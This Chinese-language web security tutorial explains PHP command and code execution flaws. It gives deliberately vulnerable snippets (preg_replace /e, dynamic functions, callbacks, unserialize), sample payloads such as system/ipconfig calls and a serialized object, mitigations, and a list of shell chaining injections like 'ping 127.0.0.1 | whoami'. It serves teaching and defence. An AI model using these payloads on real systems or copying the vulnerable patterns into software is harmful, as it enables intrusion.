Web安全之命令执行(Command Injection)

当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如 PHP 中的 system、exec、shell_exec 等,当用户可以控制命令执行函数中的参数时,将可以注入恶意系统命令到正常命令中,造成命令执行攻击。本文只介绍 PHP 有关的命令执行漏洞。


直接执行代码

PHP 中有不少可以直接执行代码的函数,如:

1
2
3
4
5
6
7
8
9
eval();    将参数字符串作为php程序代码执行
assert();
system(); 执行一个外部的应用程序并将相应的结果输出
exec(); 执行一个外部的应用程序
``/shell_exec(); 执行shell命令并返回输出的字符串
passthru(); 执行一个UNIX系统命令并显示原始的输出
escapeshellcmd();
pcntl_exec();
......

代码示例:

1
2
system("ls -al");
eval("\$a = $b;");

值得注意的是,system是命令执行函数,eval是代码执行函数


preg_replace()代码执行

自PHP5.5.0版本起 /e 修饰符被弃用

函数说明:preg_replace — 执行一个正则表达式的搜索和替换

1
2
mixed  preg_replace ( mixed  $pattern , mixed  $replacement , mixed  $subject [, int $limit  = -1 [, int &$count ]] )
搜索subject中匹配pattern的部分,以replacement进行替换。

在preg_replace()函数的第一个参数中使用/e修正符,会使引擎在完成替换后,将结果字符串作为php代码使用eval方式进行评估,并将返回值作为最终参与替换的字符串。

但是要确保replacement构成一个合法的php代码字符串,并符合eval语法,否则代码会在preg_replace()这一行出现语法解析错误。

如果没有/e修饰符,可以尝试 %00 截断。 —wiki

eg-1:

1
2
3
<?php
echo preg_replace("/test/e",$_GET["h"],"jutst test");
?>

payload: ?h = hpinfo()

eg-2:

1
2
3
4
5
<?php
$var = "<tag>phpinfo()</tag>";
preg_replace("/<tag>(.*?)<\/tag>/e", "addslashes(\\1)", $var);
?>
// 其中的 \\1 实际上就是 \1,指的是第一个子匹配项,还可以使用 $1 来匹配

eg-3:

1
2
3
4
5
6
<?php
function test($str)
{
}
echo preg_replace("/s*[php](.+?)[/php]s*/ies", 'test("\1")', $_GET["h"]);
?>

payload:?h=[php]{${phpinfo()}}[/php]

此时提交 ?h=[php]phpinfo()[/php],phpinfo()不会被执行,因为经过正则匹配后, replacement 参数变为’test(“phpinfo”)’,此时phpinfo仅仅是被当做一个字符串参数。

提交 ?h=[php]{${phpinfo()}}[/php] phpinfo()会被执行,因为在php中,双引号里面如果包含有变量,php会将其解析,而单引号中的变量不会被处理。

在这里我们通过 {${}} 构造出了一个特殊的变量'test("{${phpinfo()}}")',达到让函数被执行的效果 (${phpinfo()}会被解释执行)。

关于{${}}这种形式涉及到了php Complex (curly) syntax.

测试代码:

1
echo "{${phpinfo()}}";

在本例中将’test(“\1”)’修改为”test(‘\1’)”,这样’${phpinfo()}’就会被当做一个普通的字符串处理。


动态函数执行

用户自定义的函数可以导致代码执行。

eg-1:

1
2
3
4
5
<?php
$dyn_func = $_GET["dyn_func"];
$argument = $_GET["argument"];
$dyn_func($argument);
?>

payload:?dyn_func=phpinfo & argument=1

1

payload:?dyn_func=system & argument=ipconfig

2

eg-2:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
function A() {
echo "aaa";
}
function B() {
echo "bbb";
}

if (isset($_GET["func"])) {
$myfunc = $_GET["func"];
echo $myfunc();
}
?>

payload:

?func = A —> 输出:aaa

?func = phpinfo —> 漏洞产生


反引号命令执行

1
2
3
<?php
echo `ls -al`;
?>


Curly Syntax

前文提到的 {${}} 属于这一部分

PHP的 Complex Syntax (Curly Syntax) 也能导致代码执行,它将执行花括号间的代码,并将结果替换回去。

1
2
3
<?php
$var = "aaabbbccc ${`ls`}";
?>
1
2
3
4
<?php
$foobar = "phpinfo";
${"foobar"}();
?>


回调函数

很多函数都可以执行回调函数,当回调函数用户可控时,将导致代码执行。

1
2
3
4
5
<?php
$evil_callback = $_GET["callback"];
$some_array = array(0,1,2,3);
$new_array = array_map($evil_callback, $some_array);
?>

payload:?callback=phpinfo


反序列化

如果 unserialize() 在执行时定义了 __destruct()__wakeup() 函数,则有可能导致代码执行。

1
2
3
4
5
6
7
8
9
<?php
class Example {
var $var = "";
function __destruct() {
eval($this->$var);
}
}
unserialize($_GET["saved_code"]);
?>

payload:?saved_code=O:7:"Example":1:{s:3:"var";s:10:"phpinfo();";}


防范方法

  1. 尽量不使用执行命令的函数或在disable_functions中禁用

  2. 在进入执行命令的函数/方法之前,对参数进行过滤,对敏感字符进行转义

  3. 对于可控点是程序参数的情况下,使用escapeshellcmd函数进行过滤,对于可控点是程序参数值的情况下,使用escapeshellarg函数进行过滤

  4. 参数的值尽量使用引号包裹,并在拼接前调用addslashes进行转义

  5. 针对由第三方组件引发的漏洞,要及时打补丁,修改安装时的默认配置。

  1. 使用safe_mode_exec_dir指定可执行文件的路径,把可能使用的命令提前放入此路径内,限制外部程序的执行(推荐不执行任何程序指向网页目录)

safe_mode = On

safe_mode_exec_dir = /usr/local/php/bin/


附: &、||、| 命令连接符

windows:

| 直接执行后面的语句 ping 127.0.0.1 | whoami

|| 前面为假再执行后面 ping 2 || whoami

& 前面可真可假(后面一定会执行) ping 127.0.0.1 & whoami

&& 前面只能为真(前面为假导致出错,后面不执行) ping 127.0.0.1 && whoami

linux:

; 前面的执行完执行后面的 ping 127.0.0.1 ; whoami

| 管道符,显示后面的执行结果 ping 127.0.0.1 | whoami

|| 前面为假再执行后面 ping 1 || whoami

& 前面可真可假(后面一定会执行) ping 127.0.0.1 & whoami

&& 前面只能为真(前面为假导致出错,后面不执行) ping 127.0.0.1 && whoami